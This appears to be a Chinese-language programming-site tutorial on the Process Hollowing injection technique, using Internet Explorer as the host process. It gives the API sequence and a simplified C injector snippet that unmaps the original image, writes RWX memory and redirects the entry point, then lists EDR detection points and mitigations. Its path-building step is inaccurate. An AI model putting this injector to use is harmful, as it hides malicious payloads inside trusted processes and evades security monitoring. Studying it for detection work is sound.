首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> 關於C語言

進程注入技術原理解析:以 IE 進程為例的 Process Hollowing 實現與防禦視角

     編輯:關於C語言

聲明

本文僅為**安全研究與防禦教育目的**分析進程注入(Process Hollowing/RunPE)技術原理,**嚴禁用於惡意軟體開發或非授權滲透測試**。理解攻擊手法,才能構建有效防禦。

技術背景:Process Hollowing (進程挖空)

核心思路:啟動合法進程(如 iexplore.exe)掛起 → 卸載其原始映像 → 分配記憶體寫入惡意代碼 → 修改入口點 → 恢復執行。外表是正常系統進程,實際執行任意載荷。

關鍵步驟與 Windows API 對應

  1. 定位目標程式路徑:GetSystemDirectory + 拼接 \\Program Files\\Internet Explorer\\iexplore.exe。
  2. 建立掛起進程:CreateProcess(..., CREATE_SUSPENDED, ...) 獲取 PROCESS_INFORMATION 與主執行緒 CONTEXT。
  3. 獲取 PEB 基址:CONTEXT.Ebx 指向 PEB,PEB+0x8 (ImageBaseAddress) 為原始映像基址。
  4. 卸載原始映像:ZwUnmapViewOfSection(hProcess, originalBase) (ntdll.dll)。
  5. 分配新記憶體:VirtualAllocEx(hProcess, preferredBase, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)。嘗試分配在原基址(免重定位),失敗則任意基址。
  6. 寫入 PE 載荷:WriteProcessMemory 將自身映像(含 headers、sections)寫入目標進程。
  7. 修復 PEB 入口點:更新 PEB ImageBaseAddress 為新基址;修改執行緒 CONTEXT.Eax (x86 入口點) 為 NewBase + AddressOfEntryPoint。
  8. 恢復執行:SetThreadContext + ResumeThread。

代碼關鍵片段解析 (教育用簡化版)

// 1. 建立掛起進程
CreateProcess(NULL, targetPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. 獲取上下文與 PEB
CONTEXT ctx = {CONTEXT_FULL};
GetThreadContext(pi.hThread, &ctx);
DWORD* peb = (DWORD*)ctx.Ebx;
DWORD originalBase;
ReadProcessMemory(pi.hProcess, &peb[2], &originalBase, 4, NULL); // PEB+8

// 3. 卸載原映像
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)originalBase);

// 4. 分配並寫入新映像
LPVOID newBase = VirtualAllocEx(pi.hProcess, (LPVOID)hModule, imgSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, hModule, imgSize, &written);

// 5. 修復入口點
WriteProcessMemory(pi.hProcess, &peb[2], &newBase, 4, &written); // 更新 PEB 基址
ctx.Eax = (DWORD)newBase + peHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

關鍵技術細節

  • 自身映像大小獲取:原代碼用內嵌組件讀取 PEB Ldr.InLoadOrderModuleList 遍歷獲取,實際可直接用 GetModuleInformation 或解析自身 PE Header SizeOfImage。
  • 重定位處理:若無法在原基址分配,需手動處理重定位表(Base Relocation),否則絕對地址引用會錯誤。簡易版常假設可分配原基址或載荷為位置無關代碼。
  • x64 差異:x64 入口點在 CONTEXT.Rcx (Windows) 或 RIP,PEB 結構偏移不同,ZwUnmapViewOfSection 同樣適用。

防禦檢測與緩解

  • 緩解:啟用 CFG (Control Flow Guard)、ACG (Arbitrary Code Guard)、HVCI (Hypervisor-protected Code Integrity)、PPL (Protected Process Light) 保護關鍵系統進程。

總結

Process Hollowing 是經典免殺/持久化技術,核心在於利用合法進程掩蓋惡意載荷。現代 EDR 透過行為監控(API 序列、記憶體權限變化、PEB 完整性)有效檢測此類攻擊。防禦者應部署多層次檢測,開發者應簽名代碼並啟用編譯器安全選項(/guard:cf, /DYNAMICBASE)。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
檢測點手段
異常進程創建EDR 監控 CREATE_SUSPENDED + 非父進程啟動關鍵系統程式
記憶體操作異常監控 VirtualAllocEx(PAGE_EXECUTE_READWRITE) + WriteProcessMemory 組合
映像卸載監控 ZwUnmapViewOfSection 針對非調試器進程
PEB 竄改檢測 ImageBaseAddress 變更、入口點指向非映像區域
簽名/信譽簽名驗證、數位簽名策略 (AppLocker/WDAC) 阻止未簽名代碼注入